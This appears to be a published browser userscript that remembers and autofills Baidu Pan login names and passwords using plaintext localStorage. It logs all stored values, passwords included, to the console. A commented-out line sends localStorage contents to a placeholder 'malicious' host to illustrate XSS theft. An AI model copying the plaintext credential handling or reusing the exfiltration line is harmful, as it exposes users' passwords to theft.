remember and fill

try to take over the world!

Από την 15/05/2022. Δείτε την τελευταία έκδοση.

// ==UserScript==
// @name         remember and fill
// @namespace    http://bd.softxm.cn/bd/
// @version      1.5.7
// @antifeature  membership
// @description  try to take over the world!
// @icon         https://www.baidu.com/favicon.ico
// @author       You
// @match        *://pan.baidu.com/*
// @run-at       document-idle
// @grant        none
// ==/UserScript==
/**
 * 1、本脚本使用localStorage来记住网站的账号密码
 * 2、该脚本有泄露账号密码风险,包括本地数据泄露和远程数据泄露
 * 3、本地数据泄露:
 * 4、账号密码均为明文存储,物理设备丢失后有泄露风险。打开已记住的网站后
 * 		可在更多工具-开发者工具-应用-存储-本地存储空间-域名查看记住的账号密码
 * 5、登出账号和关闭浏览器不会删除localStorage
 * 6、如需删除记住的账号密码,选择清除数据-网页存储
 * 7、如果填充失败可刷新页面让脚本再次填充,手动输入则会覆盖已记住数据
 * @returns
 */
var via = {
		// true改为false默认记住不询问
		isAsk : false,
		// 轮询计数器最大值(最多循环查询50次耗时略大于5s)
		counterMax : 50,
		// 版本(1.0版本更简单,适用网站更广)
		version : 2.0,
		// 超时时间检查(登录网页适配失败后半秒后再检查一遍)
		timeoutCheck : 500,
		/**
		 * 移除网站记住的数据
		 */
		remove : function() {
			localStorage.removeItem('via_isConfirm');
			localStorage.removeItem('via_username');
			localStorage.removeItem('via_password');
		},
		/**
		 * 远程数据泄露:
		 * 如果一个网站存在XSS漏洞,那么攻击者注入如下代码
		 * 就可以获取使用localStorage存储在本地数据
		 */
		print : function() {
			var i = 0;
			var array = [];
			while (localStorage.key(i) != null) {
				var key = localStorage.key(i);
				array[key] = localStorage.getItem(key);
				i++;
			}
			//console.table(array);
			console.log(array);
			//document.location="http://your-malicious-site.com?stolen="+ array;
		}
};
(function() {
	'use strict';
	
	//  声明定时器
	var timer = null;

	whenReady(function () {
		if(via.version == 2.0) {
			return recursiveQuery2();
		} else {
			return recursiveQuery();
		}
	});
	/**
	 * 判断document是否加载完成
	 */
	function whenReady(func) {
		console.time("轮询耗时");
		/**
		 * document.readyState属性描述了文档的加载状态。一个文档的readyState可以是以下之一:
		 * loading——加载,此时document仍在加载
		 * interactive——互动,此时文档已经完成加载,文档已被解析,但是诸如图像,样式表和框架之类的子资源仍在加载。
		 * complete——完成,此时T文档和所有子资源已完成加载。状态表示 load 事件即将被触发。
		 */
		if(document.readyState === "interactive" || document.readyState === "complete") {
			func();
		} else {
			/**
			 * DOMContentLoaded:当初始的 HTML 文档被完全加载和解析完成之后,DOMContentLoaded 事件被触发。
			 * 无需等待样式表、图像和子框架的完成加载。——interactive
			 */
			document.addEventListener("DOMContentLoaded", func);
		}
	}
	/**
	 * 递归查询密码框
	 */
	function recursiveQuery() {
		var index = null;
		var allInput = document.getElementsByTagName("input");
		var allShownInput = [];
		for (var i = 0; i < allInput.length; i++) {
			/**
			 * background作用域为div边框包括padding往里
			 * 不包含margin,margin不为0时background大小将小于div的height*width)
			 * input输入框位于padding里面(不包括padding)
			 * offsetWidth 属性是一个只读属性,它返回该元素的像素宽度,
			 * 宽度包含内边距(padding)和边框(border),不包含外边距(margin),是一个整数,单位是像素 px。
			 * offsetWidth 数值由实际计算得出,如果该输入框被隐藏了则offsetWidth为0px。
			 */
			if(allInput[i].offsetWidth > 0) {
				allShownInput.push(allInput[i]);
				if(allInput[i].type == "password") {
					index = allShownInput.length - 1;
					console.log("密码框:document.querySelectorAll('input')[" + i + "]");
					console.log(allInput[i]);
				}
			}
		}
		if(!index) {
			if (via.counterMax > 0) {
				--via.counterMax;
				timer = setTimeout(recursiveQuery, 100);
			} else {
				console.timeEnd("轮询耗时");
			}
		} else {
			ask(allShownInput, index);
		}
	}
	function recursiveQuery2() {
		var index = null;
		var allInput = document.getElementsByTagName("input");
		var allShownInput = [];
		for (var i = 0; i < allInput.length; i++) {
			if(allInput[i].offsetWidth > 0) {
				allShownInput.push(allInput[i]);
				if(allInput[i].type == "password") {
					index = allShownInput.length - 1;
					console.log("密码框:document.querySelectorAll('input')[" + i + "]");
					console.log(allInput[i]);
				}
			}
		}
		if(allShownInput == '') {
			if (via.counterMax > 0) {
				--via.counterMax;
				timer = setTimeout(recursiveQuery2, 100);
			} else {
				console.timeEnd("轮询耗时");
			}
		} else {
			console.timeEnd("轮询耗时");
			if(index) {
				ask(allShownInput, index);
			} else {
				setTimeout(isShowPass, via.timeoutCheck);
			}
		}
	}
	/**
	 * 半秒后是否显示密码框
	 */
	function isShowPass() {
		var index = null;
		var allInput = document.getElementsByTagName("input");
		var allShownInput = [];
		for (var i = 0; i < allInput.length; i++) {
			if(allInput[i].offsetWidth > 0) {
				allShownInput.push(allInput[i]);
				if(allInput[i].type == "password") {
					index = allShownInput.length - 1;
					console.log("密码框:document.querySelectorAll('input')[" + i + "]");
					console.log(allInput[i]);
				}
			}
		}
		if(index) {
			ask(allShownInput, index);
		}
	}
	/**
	 * 询问
	 */
	function ask(allShownInput, index) {
		//  清除定时器
        if(!timer) {
            clearTimeout(timer);
        }
        // 包含两个以上输入框
        if(index > 0) {
        	// 询问则确认是否记住密码
        	if (via.isAsk) {
                if (!localStorage.via_isConfirm) {
                	// 一个网站只询问一次
                	if(localStorage.via_isConfirm == '') {
                		return;
                	}
                	if (!confirm("记住本站密码吗?")) {
                        localStorage.setItem("via_isConfirm", "");
                        return;
                    } else {
                    	localStorage.setItem("via_isConfirm", true);
                    }
                }
            }
        	rememberFill(allShownInput, index);
        }
	}

	/**
	 * 记住密码填充
	 */
	function rememberFill(allShownInput, index) {
		var username = allShownInput[index - 1];
    	var password = allShownInput[index];

    	// 填充账号密码
    	if(localStorage.via_username) {
//    		username.value = localStorage.via_username;
    		keyboardInput(username, localStorage.via_username);
    	}
    	if(localStorage.via_password) {
//    		password.value = localStorage.via_password;
    		keyboardInput(password, localStorage.via_password);
    	}
    	// 监听input输入保存到localStorage
    	username.addEventListener("input", function () {
            localStorage.setItem("via_username", username.value);
        });
    	password.addEventListener("input", function () {
        	localStorage.setItem("via_password", password.value);
        });

    	via.print();
	}
	/**
	 * 键盘输入
	 * 作用: 有些时候会遇到使用 document.getElementById().value="xxx"; 的时候,
	 * 			页面的输入框中显示有值,但提交按钮显示用户还未输入..这就需要下面函数了
	 */
	function keyboardInput(dom, st) {
		// 输入事件
		var evt = new InputEvent('input', {
		    inputType: 'insertText',
		    data: st,
		    dataTransfer: null,
		    isComposing: false
		});
		// 赋值
		dom.value = st;
		// 调度事件
		dom.dispatchEvent(evt);
	}

})();